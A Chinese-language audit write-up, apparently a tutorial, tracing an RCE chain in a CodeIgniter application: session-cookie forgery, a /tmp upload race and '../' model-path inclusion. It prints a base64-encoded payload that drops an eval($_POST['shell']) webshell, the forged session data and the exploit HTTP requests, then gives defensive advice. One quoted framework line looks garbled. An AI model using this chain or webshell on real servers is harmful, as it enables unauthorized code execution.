记一次跌宕起伏的白盒审计到RCE
字数 969 2025-08-06 08:35:41

CodeIgniter框架漏洞链分析与利用

漏洞链概述

本教学文档详细分析了一个针对CodeIgniter框架的复杂漏洞利用链,该链结合了多个经典漏洞类型,最终实现了远程代码执行(RCE)。整个利用过程涉及以下关键漏洞:

  1. Session伪造漏洞
  2. 任意文件上传漏洞
  3. 条件竞争漏洞
  4. 文件包含漏洞

1. 文件上传漏洞分析

漏洞位置

/uplaodController/uplaodMethod接口

漏洞代码

$fileInput = $_FILES;
$targetPath = "/tmp/";
$file = $targetPath . basename($fileInput['uploadedFile']['name']);
move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);

$multipartParams = [ ...... ];
$result = apiRequest('POST', ...... $multipartParams);

if (file_exists($file)) {
    unlink($file);
}

漏洞特点

  • 文件上传到/tmp/目录,保留原始文件名
  • 上传后立即删除文件("卸磨杀驴"模式)
  • 文件存在时间极短,需要条件竞争利用

利用思路

需要配合文件包含漏洞,在文件被删除前包含执行

2. 文件包含漏洞分析

漏洞位置

Meathods类的method1方法

漏洞代码

public function method1() {
    header('Content-Type: application/json');
    $response = array();
    if ($this->input->is_ajax_request()) {
        $data = $this->input->post(null, true);
        if (empty($data)) {
            $data = $this->input->get(null, true);
        }
        $class = $data['class'];
        $method = $data['method'];
        if ($this->isMethodAllowed($method)) {
            unset($data['class']);
            unset($data['method']);
            $this->load->model($class);
            $response = $this->$class->$method($data);
        }
    }
    return;
}

关键点分析

  1. $this->load->model($class)存在目录穿越漏洞
  2. model()方法内部实现:
public function model($model, $name = '', $db_conn = FALSE) {
    $path = '';
    if (($last_slash = strrpos($model,FALSE)) {
        $path = substr($model, 0, $last_slash + 1);
        $model = substr($model, $last_slash + 1);
    }
    // ...
    foreach ($this->_ci_model_paths as $mod_path) {
        if (!file_exists($mod_path.'models/'.$path.$model.'.php')) {
            continue;
        }
        require_once($mod_path.'models/'.$path.$model.'.php');
        $CI->$name = new $model();
        return;
    }
}

漏洞利用

  • 通过../实现目录穿越
  • 可包含任意PHP文件并实例化其中的类

3. 权限绕过漏洞分析

鉴权机制

系统使用Hook机制进行权限检查,关键函数permissionCheck()

function permissionCheck() {
    $user = $CI->load->get_var('auth_user');
    $permissions = $user['permissions'];
    if (!in_array($action, $allow)) {
        if (!isset($permissions[$controller][$action])) {
            redirect('permissions/unauthorized');
        }
    }
}

Session处理流程

  1. readSess()函数处理cookie:
$session = $this->CI->input->cookie($this->sess_cookie_name);
if ($this->sess_encrypt_cookie == TRUE) {
    $session = $this->CI->encrypt->decode($session);
}
$session = $this->_unserialize($session);
  1. 自定义数据存储:
$customUserdata = $this->userdata;
$cookieUserdata = array();
foreach (array(.....) as $val) {
    unset($customUserdata[$val]);
    $cookieUserdata[$val] = $this->userdata[$val];
}
$customUserdata = $this->_serialize($customUserdata);
$this->CI->db->update($this->sess_table_name, array('user_data' => $customUserdata));

漏洞利用

  • 可伪造cookie中的序列化数据
  • 通过添加permission字段绕过权限检查

4. 完整利用链

第一步:构造恶意PHP文件

<?php
class TempClass {
    function __construct() {
        print('in __construct()\n');
        file_put_contents('/tmp/TempClass2.php', base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
    }
    function getData1($params) {
        print('in getData1()\n');
    }
}
?>

第二步:伪造Session Cookie

  1. 获取合法用户的cookie并解密
  2. 添加权限字段:
a:5:{
    s:10:"session_id";s:32:"...";
    s:10:"ip_address";s:13:"...";
    s:10:"user_agent";s:114:"...";
    s:13:"last_activity";i:...;
    s:10:"permission";a:1:{
        s:16:"uploadController";a:1:{
            s:12:"uploadMethod";s:1:"1";
        }
    }
}
  1. 重新加密生成新cookie

第三步:利用条件竞争

  1. 使用伪造cookie上传恶意文件
POST /uplaodController/uplaodMethod HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"
Content-Type: image/png

<?php ...恶意代码... ?>
--boundary--
  1. 同时发起文件包含请求进行竞争
POST /Meathods/method1 HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="class"
../tmp/TempClass
--boundary
Content-Disposition: form-data; name="method"
getData1
--boundary--

第四步:稳定利用

一旦竞争成功,会生成/tmp/TempClass2.php,包含以下代码:

<?php
class TempClass2 {
    function __construct() {
        print('in __contruct\n');
        eval($_POST['shell']);
    }
    function getData1($params) {
        print('in getData1');
        var_dump($params);
    }
}
?>

后续可通过包含此文件实现稳定RCE:

POST /Meathods/method1 HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="class"
../tmp/TempClass2
--boundary
Content-Disposition: form-data; name="method"
getData1
--boundary
Content-Disposition: form-data; name="shell"
phpinfo();
--boundary--

防御建议

  1. 文件上传

    • 限制上传文件类型
    • 重命名上传文件
    • 设置严格权限
  2. 文件包含

    • 禁止用户控制包含路径
    • 使用白名单校验包含文件
  3. Session安全

    • 加强cookie加密
    • 验证session数据完整性
    • 避免敏感数据存储在客户端
  4. 权限控制

    • 使用RBAC等成熟权限模型
    • 服务端校验权限而非依赖客户端数据
  5. 代码质量

    • 避免危险函数直接使用用户输入
    • 关键操作添加日志记录
CodeIgniter框架漏洞链分析与利用 漏洞链概述 本教学文档详细分析了一个针对CodeIgniter框架的复杂漏洞利用链,该链结合了多个经典漏洞类型,最终实现了远程代码执行(RCE)。整个利用过程涉及以下关键漏洞: Session伪造漏洞 任意文件上传漏洞 条件竞争漏洞 文件包含漏洞 1. 文件上传漏洞分析 漏洞位置 /uplaodController/uplaodMethod 接口 漏洞代码 漏洞特点 文件上传到 /tmp/ 目录,保留原始文件名 上传后立即删除文件("卸磨杀驴"模式) 文件存在时间极短,需要条件竞争利用 利用思路 需要配合文件包含漏洞,在文件被删除前包含执行 2. 文件包含漏洞分析 漏洞位置 Meathods 类的 method1 方法 漏洞代码 关键点分析 $this->load->model($class) 存在目录穿越漏洞 model() 方法内部实现: 漏洞利用 通过 ../ 实现目录穿越 可包含任意PHP文件并实例化其中的类 3. 权限绕过漏洞分析 鉴权机制 系统使用Hook机制进行权限检查,关键函数 permissionCheck() : Session处理流程 readSess() 函数处理cookie: 自定义数据存储: 漏洞利用 可伪造cookie中的序列化数据 通过添加 permission 字段绕过权限检查 4. 完整利用链 第一步:构造恶意PHP文件 第二步:伪造Session Cookie 获取合法用户的cookie并解密 添加权限字段: 重新加密生成新cookie 第三步:利用条件竞争 使用伪造cookie上传恶意文件 同时发起文件包含请求进行竞争 第四步:稳定利用 一旦竞争成功,会生成 /tmp/TempClass2.php ,包含以下代码: 后续可通过包含此文件实现稳定RCE: 防御建议 文件上传 : 限制上传文件类型 重命名上传文件 设置严格权限 文件包含 : 禁止用户控制包含路径 使用白名单校验包含文件 Session安全 : 加强cookie加密 验证session数据完整性 避免敏感数据存储在客户端 权限控制 : 使用RBAC等成熟权限模型 服务端校验权限而非依赖客户端数据 代码质量 : 避免危险函数直接使用用户输入 关键操作添加日志记录